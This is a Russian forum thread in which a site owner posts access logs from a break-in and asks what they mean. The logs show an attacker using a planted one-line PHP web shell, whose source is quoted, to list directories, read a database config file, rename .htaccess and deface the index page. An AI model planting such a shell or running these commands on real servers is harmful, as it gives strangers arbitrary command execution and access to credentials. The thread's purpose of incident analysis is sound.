Взломали. Расшифровка логов

@Питер · Регистрация: 17.05.2012

Студворк — интернет-сервис помощи студентам

Пожалуйста, кто знает что означают логи.

Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
81.30.162.38 - - [12/Jan/2012:10:46:21 +0200] "GET /uploads/icons/.svn/tmp/text-base/svn.php?file=default.css&version=3.3.3 HTTP/1.0" 200 2994 "http://09.vn.ua/uploads/icons/.svn/tmp/text-base/svn.php" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:46:21 +0200] "GET /uploads/icons/.svn/tmp/text-base/svn.php?file=functions.js&version=3.3.3 HTTP/1.0" 200 19391 "http://09.vn.ua/uploads/icons/.svn/tmp/text-base/svn.php" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:46:22 +0200] "GET /uploads/icons/.svn/tmp/text-base/svn.php?file=favicon.ico&version=3.3.3 HTTP/1.0" 200 318 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
 
81.30.162.38 - - [12/Jan/2012:10:47:44 +0200] "GET /uploads/icons/.svn/tmp/text-base/ip.php?q=la%20-la%20../../../../../ HTTP/1.0" 200 - "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:47:46 +0200] "GET /uploads/icons/.svn/tmp/text-base/ip.php?q=ls%20-la%20../../../../../ HTTP/1.0" 200 1360 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:47:54 +0200] "GET /uploads/icons/.svn/tmp/text-base/ip.php?q=ls%20-la%20../../../../../../config HTTP/1.0" 200 - "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:47:57 +0200] "GET /uploads/icons/.svn/tmp/text-base/ip.php?q=ls%20-la%20../../../../../.. HTTP/1.0" 200 1033 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:48:10 +0200] "GET /uploads/icons/.svn/tmp/text-base/ip.php?q=cat%20../../../../../../configs/database.xml HTTP/1.0" 200 632 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:48:25 +0200] "POST /uploads/icons/.svn/tmp/text-base/svn.php HTTP/1.0" 302 - "http://09.vn.ua/uploads/icons/.svn/tmp/text-base/svn.php" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:48:25 +0200] "GET /uploads/icons/.svn/tmp/text-base/svn.php?server=localhost&username=09vnua HTTP/1.0" 200 6070 "http://09.vn.ua/uploads/icons/.svn/tmp/text-base/svn.php" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:49:33 +0200] "GET /uploads/icons/.svn/tmp/text-base/svn.php?server=localhost&username=09vnua&db=09 HTTP/1.0" 200 111694 "http://09.vn.ua/uploads/icons/.svn/tmp/text-base/svn.php?server=localhost&username=09vnua" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:49:33 +0200] "GET /uploads/icons/.svn/tmp/text-base/svn.php?server=localhost&username=09vnua&db=09&script=db HTTP/1.0" 200 22377 "http://09.vn.ua/uploads/icons/.svn/tmp/text-base/svn.php?server=localhost&username=09vnua&db=09" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:49:35 +0200] "GET /uploads/icons/.svn/tmp/text-base/svn.php?file=loader.gif&version=3.3.3 HTTP/1.0" 200 673 "http://09.vn.ua/uploads/icons/.svn/tmp/text-base/svn.php?server=localhost&username=09vnua&db=09" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:49:35 +0200] "GET /uploads/icons/.svn/tmp/text-base/svn.php?server=localhost&username=09vnua&db=09&table=cms_components HTTP/1.0" 200 1992 "http://09.vn.ua/uploads/icons/.svn/tmp/text-base/svn.php?server=localhost&username=09vnua&db=09" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:49:36 +0200] "GET /uploads/icons/.svn/tmp/text-base/svn.php?server=localhost&username=09vnua&db=09&select=cms_components HTTP/1.0" 200 23521 "http://09.vn.ua/uploads/icons/.svn/tmp/text-base/svn.php?server=localhost&username=09vnua&db=09&table=cms_components" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:49:43 +0200] "GET /uploads/icons/.svn/tmp/text-base/svn.php?server=localhost&username=09vnua&db=09&edit=cms_components&where%5Bid%5D=26 HTTP/1.0" 200 2629 "http://09.vn.ua/uploads/icons/.svn/tmp/text-base/svn.php?server=localhost&username=09vnua&db=09&select=cms_components" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:49:46 +0200] "POST /uploads/icons/.svn/tmp/text-base/svn.php?server=localhost&username=09vnua&db=09&edit=cms_components&where%5Bid%5D=26 HTTP/1.0" 200 - "http://09.vn.ua/uploads/icons/.svn/tmp/text-base/svn.php?server=localhost&username=09vnua&db=09&edit=cms_components&where%5Bid%5D=26" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:49:47 +0200] "GET /uploads/icons/.svn/tmp/text-base/svn.php?server=localhost&username=09vnua&db=09&select=cms_components HTTP/1.0" 200 24088 "http://09.vn.ua/uploads/icons/.svn/tmp/text-base/svn.php?server=localhost&username=09vnua&db=09&edit=cms_components&where%5Bid%5D=26" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
 
81.30.162.38 - - [12/Jan/2012:10:50:35 +0200] "GET /uploads/icons/.svn/tmp/text-base/ip.php HTTP/1.0" 200 - "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
 
81.30.162.38 - - [12/Jan/2012:10:52:00 +0200] "GET /uploads/icons/.svn/tmp/text-base/ip.php?q=touch%20../../../../../index.html HTTP/1.0" 200 - "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:52:34 +0200] "GET /uploads/icons/.svn/tmp/text-base/ip.php?q=mv%20../../../../../.htaccess%20htaccess.txt HTTP/1.0" 200 - "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:52:36 +0200] "GET / HTTP/1.0" 200 893 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:52:45 +0200] "GET /uploads/icons/.svn/tmp/text-base/ip.php?q=ls%20-la%20../../../../../ HTTP/1.0" 200 1361 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:53:17 +0200] "GET /uploads/icons/.svn/tmp/text-base/ip.php?q=mv%20../../../../../index.php%20../../../../../index_prod.php HTTP/1.0" 200 - "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:53:23 +0200] "GET /uploads/icons/.svn/tmp/text-base/ip.php?q=mv%20../../../../../index.html%20../../../../../index.php HTTP/1.0" 200 - "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:53:24 +0200] "GET / HTTP/1.0" 200 - "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:53:46 +0200] "GET /uploads/icons/.svn/tmp/text-base/ip.php?q=ls%20-la%20../../../../../ HTTP/1.0" 200 1365 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"

Vovan-VE · 20.05.2012, 20:40

Сообщение от Питер

есть ли основания для претензии?

Претензии к разработчику за разработку бекдора.

@Питер · 20.05.2012, 20:57 **[ТС]**

А воспользовался он им как бы в шутку?

Потом еще 30 раз подряд пошутил...

Как туда эта разработка попала - время создания файла не совпадает с запуском - позже он залит - может при участии провайдера? Дал доступ он или хилая защита моего 16-ти значного пароля...

Напишите по русски - ломали или нет, что делали - логи ж есть! Шо за шелл такой.

@Unick · 20.05.2012, 21:08

Сообщение от Питер

А воспользовался он им как бы в шутку?

ага в шутку

очень кстати смешная

Сообщение от Питер

Потом еще 30 раз подряд пошутил...

Петросян

Сообщение от Питер

Как туда эта разработка попала - время создания файла не совпадает с запуском - позже он залит - может при участии провайдера? Дал доступ он или хилая защита моего 16-ти значного пароля...

провайдер не причем
возможно хилая защита твоего сайта, а не пароля

Сообщение от Питер

Напишите по русски - ломали или нет, что делали - логи ж есть! Шо за шелл такой.

с той информацией которую ты нам дал, мы не можем ответить четко на вопрос, а догадки... есть догадки, их много таки
тем более логи связаны с работой файла, а как он туда попал нету
я лишь могу сделать вывод, что твой сайт работает с файлами, либо я тебе уже говорил где сменить пароли!

Добавлено через 2 минуты
не ужели так сложно не игнорировать сообщения?

мб мы по делу всетаки пишем

Vovan-VE · 21.05.2012, 18:29

Сообщение от Питер

время создания файла не совпадает с запуском - позже он залит

Думаю, время можно подделать.

Сообщение от Питер

Напишите по русски - ломали или нет, что делали - логи ж есть! Шо за шелл такой.

Представьте, что один суровый хирург, когда делал очередному пациенту пересадку мозга, внедрил в мозг модуль управления разумом. Его нельзя было внедрить случайно. Сам факт внедрения - это уже злодеЯние. А потом он еще воспользовался этим модулем и, управляя действиями пациента, начал ядерную войну. Взлом это или нет? Что здесь взлом? Чёрт его знает, но важно лишь то, что случайно всего этого произойти не могло совершенно точно.

@Питер · 21.05.2012, 19:51 **[ТС]**

Как в том анекдоте - жена и любовник разделись и занавесили занавески... А шо они там делают?

Перед тем как дать предъяву надо бы квалифицированно все обрисовать - по пунктикам. Дело деликатное... А то окажется, что это безобидный файлик, стремный но не критичный - там делалось с ним что то вполне нормальное...

Напомню код-

<?php
echo shell_exec($_GET['q']);

Что оно за шелл и как вяжется с обращением к этому файлу.

В логах - Команда ls выводит список всех файлов каталога - нашел в нете.
Команда mv - ... ip.php?q=mv%20../../../../../.htaccess%20htaccess.txt

Толи переименовывание, толь перемещение. Ну и что такого особенного то?

Vovan-VE · 21.05.2012, 20:05

Сообщение от Питер

Ну и что такого особенного то?

Т.е. Вас не удивляет тот факт, что абсолютно любой сторонний юзер из любой точки интернета может обратиться к этому скрипту и попытаться выполнить обсолютно любую команду/программу на сервере (на сколько хватит привилегий у апача), в том числе создать любой файл в любой доступной для записи директории:?

Bash
1
echo 'тело'>file.ext

Добавлено через 1 минуту
Красная ковровая дорожка + "wellcome" в открытое деньгохранилище.

Новые блоги и статьи Все статьи Все блоги /
Был там один разговор по поводу свободы в материальном мире. kumehtar 19.08.2026 Суть: рассматривается живое существо, оказавшееся внутри довольно странной системы (этого мира) и пытающееся обустроить в ней свой кусок пространства. Жизнь действительно предъявляет каждому. . .	Когда логика программы не спасает от человеческих ошибок Maks 18.08.2026 В последнее время всё чаще и чаще сталкиваюсь с таким явлением, как абсолютная невнимательность (или глупость) пользователей. Проявляется это чаще всего на работе в коллективе. Допустим, человек с. . .	Лето уходит kumehtar 17.08.2026	Мысли в слух kumehtar 17.08.2026 Забавно, насколько сейчас стала доступна информация. Например о магии, духовном развитии, медитациях, и других подобных направлениях, ранее зачастую тайных, передаваемых от учителя к ученику. Хотя. . .
Перемещение строк из ТЧ в другой документ с учетом текущего пробега Maks 17.08.2026 Реализация из решения ниже выполнена на примере нетипового документа "Автозапчасти", с ТЧ "Шины". За основу взят алгоритм отсюда: https:/ / www. cyberforum. ru/ blogs/ 359708/ 10838. html Задача: . . .	Саморегулирующийся социальный контракт для сервера cross-section. Hrethgir 14.08.2026 С кодом конечно таких глубоких размышлений пока не было, впрочем я уже привык к алгоритмизации. Суть предмета записи: снова в диалоге с нейросетью (я взял пока себе ник для учётки админа - Rector). . . .	Часы электронные Uhbif79 12.08.2026 Выкладываю программу часов. Программа позволяет: 1. Использовать системное время и дату, 2. Есть возможность вводить время и дату вручную. 3. Реализованы 2 будильника: начало и конец рабочего дня. . . .	Часы с будильником на основе класса QLCDNumber Uhbif79 12.08.2026 Всем добрый день, выкладываю программу часов с будильником на основе класса QLCDNumber. Здесь я пробовал самостоятельно создавал классы, впервые столкнулся с видимостью переменной одного класса из. . .

@Питер 0 / 0 / 0 Регистрация: 17.05.2012 Сообщений: 12
	20.05.2012, 20:57 [ТС]
	А воспользовался он им как бы в шутку? Потом еще 30 раз подряд пошутил... Как туда эта разработка попала - время создания файла не совпадает с запуском - позже он залит - может при участии провайдера? Дал доступ он или хилая защита моего 16-ти значного пароля... Напишите по русски - ломали или нет, что делали - логи ж есть! Шо за шелл такой. 0

@Питер 0 / 0 / 0 Регистрация: 17.05.2012 Сообщений: 12
	21.05.2012, 19:51 [ТС]
	Как в том анекдоте - жена и любовник разделись и занавесили занавески... А шо они там делают? Перед тем как дать предъяву надо бы квалифицированно все обрисовать - по пунктикам. Дело деликатное... А то окажется, что это безобидный файлик, стремный но не критичный - там делалось с ним что то вполне нормальное... Напомню код- <?php echo shell_exec($_GET['q']); Что оно за шелл и как вяжется с обращением к этому файлу. В логах - Команда ls выводит список всех файлов каталога - нашел в нете. Команда mv - ... ip.php?q=mv%20../../../../../.htaccess%20htaccess.txt Толи переименовывание, толь перемещение. Ну и что такого особенного то? 0

Опции темы